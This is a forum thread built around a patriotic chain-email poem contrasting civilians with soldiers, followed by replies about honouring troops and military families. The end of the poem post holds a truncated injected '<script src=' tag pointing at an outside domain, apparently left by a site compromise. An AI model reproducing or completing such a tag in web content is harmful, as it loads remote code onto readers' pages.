Just a reminder to thank a soldier

[michael larkin 2]

My niece sent this to me, she is very supportive of me as a soldier. Feel free to pass it on





A Tale Of Two Men



Your alarm goes off, you hit the snooze and sleep for another 10 minutes.

He stays up for days on end.

_________________________



You take a warm shower to help you wake up.

He goes days or weeks without running water.

__________________________

You complain of a "headache", and call in sick.

He gets shot at as others are hit, and keeps moving forward.

__________________________



You put on your anti war/don't support the troops shirt, and go meet up with your friends.

He still fights for your right to wear that shirt.

__________________________



You make sure you're cell phone is in your pocket.

He clutches the cross hanging on his chain next to his dog tags.

__________________________



You talk trash about your "buddies" that aren't with you.

He knows he may not see some of his buddies again.

__________________________



You walk down the beach, staring at all the pretty girls.

He walks the streets, searching for insurgents and terrorists.

__________________________



You complain about how hot it is.

He wears his heavy gear, not daring to take off his helmet to wipe his brow.

__________________________



You go out to lunch, and complain because the restaurant got your order wrong.

He doesn't get to eat today.

__________________________



Your maid makes your bed and washes your clothes.

He wears the same things for weeks, but makes sure his weapons are clean.

__________________________



You go to the mall and get your hair redone.

He doesn't have time to brush his teeth today.

__________________________

You're angry because your class ran 5 minutes over.

He's told he will be held over an extra 2 months.

__________________________



You call your girlfriend and set a date for tonight.

He waits for the mail to see if there is a letter from home.

__________________________



You hug and kiss your girlfriend, like you do everyday.

He holds his letter close and smells his love's perfume.

__________________________



You roll your eyes as a baby cries.

He gets a letter with pictures of his new child, and wonders if they'll ever meet

__________________________



You criticize your government, and say that war never solves anything.

He sees the innocent tortured and killed by their own people and remembers why he is fighting.

__________________________



You hear the jokes about the war, and make fun of men like him.

He hears the gunfire, bombs and screams of the wounded.

__________________________

You see only what the media wants you to see.

He sees the broken bodies lying around him.

__________________________



You are asked to go to the store by your parents. You don't.

He does exactly what he is told.

__________________________



You stay at home and watch TV.

He takes whatever time he is given to call, write home, sleep, and eat.

__________________________



You crawl into your soft bed, with down pillows, and get comfortable.

He crawls under a tank for shade and a 5 minute nap, only to be woken by gunfire.

__________________________



You sit there and judge him, saying the world is probably a worse place because of men like him.

If only there were more men like him!

__________________________



If you support your troops, re-send this to everyone you know,

If it gets to another veteran who hasn't received it yet, it will bring back memories.

Only two defining forces have ever offered to die for you, Jesus Christ and the American G. I.

One died for your soul, the other for your freedom



<script src=http://kan31ni.c

 

[Thomas Rogers]

Thanks, we all need to remember to support and respect our men and women in uniform.



And, I will probably get some crap for what I am about to say, but...



I just wish there were more reminders that truly focused on the good the men and women do instead of some like this that are divisive, even if subtly so, as they compare and contrast those that do and those that don't serve. Yes, serving is a noble task, but people who don't serve shouldn't be made to feel guilty and I can't help but feel that comparisons like this are meant in some small way to make those that don't serve feel humbled.



I never meant a service person who wanted to be revered ...respected yes, but not revered.(yes, I know they are different levels of the same thing…please don’t wordsmith me).



I'm reminded of the "Kick Their Ass" military memo joke that floated around here twice and debated both times. We are all Americans, all doing our own jobs. Things that compare and contrast or create or further "us vs. them" attitudes aren't helpful, IMHO.



Hey, I never served, maybe I am just projecting.



Still, thanks for all that do and the reminder to respect them!



TJR

 

[henry tanner]

thanks i`m not a soldier but i am in the navy and thanks.

 

[Deleted deleted]

I can see why service folks felt 'forgotten' after the Vietnam War... especially since they were drafted into service.



With today's volunteer force, it is a matter of choice. Does anyone else get thanked for driving a truck, cleaning bathrooms, running an IT dept? How about cops and fireman?

 

[EddieS'04]

As a US Army volunteer Veitnam vet myself, I thank all that serve our military. It takes courage and an appreciation to make the choice to serve and knowing your life is on the line.

 

[Nelson Atwell]

When you thank our military men and women, don't forget their families. Military families are routinely uprooted and made to leave their friends and jobs. They also endure long periods of separation from the military member as he/she is sent to the far corners of the World. Many also live in substandard housing in less developed countries or in poorly maintained base housing units. The junior enlisted families have the additional burden of being paid so little that a special pay is given to them to keep them from qualifying for food stamps.

 

[kil roy]

no need to remind here,

my nephew did 13 months in IRAQ and was supposed

to get discharged end of this month.

he was told in july that his job was too valuable and his enlistment

has been extended for up to 18 more months and he is being sent

back to IRAQ next month for at least another year.



if he didnt do those GD convoys , i wouldnt worry so much.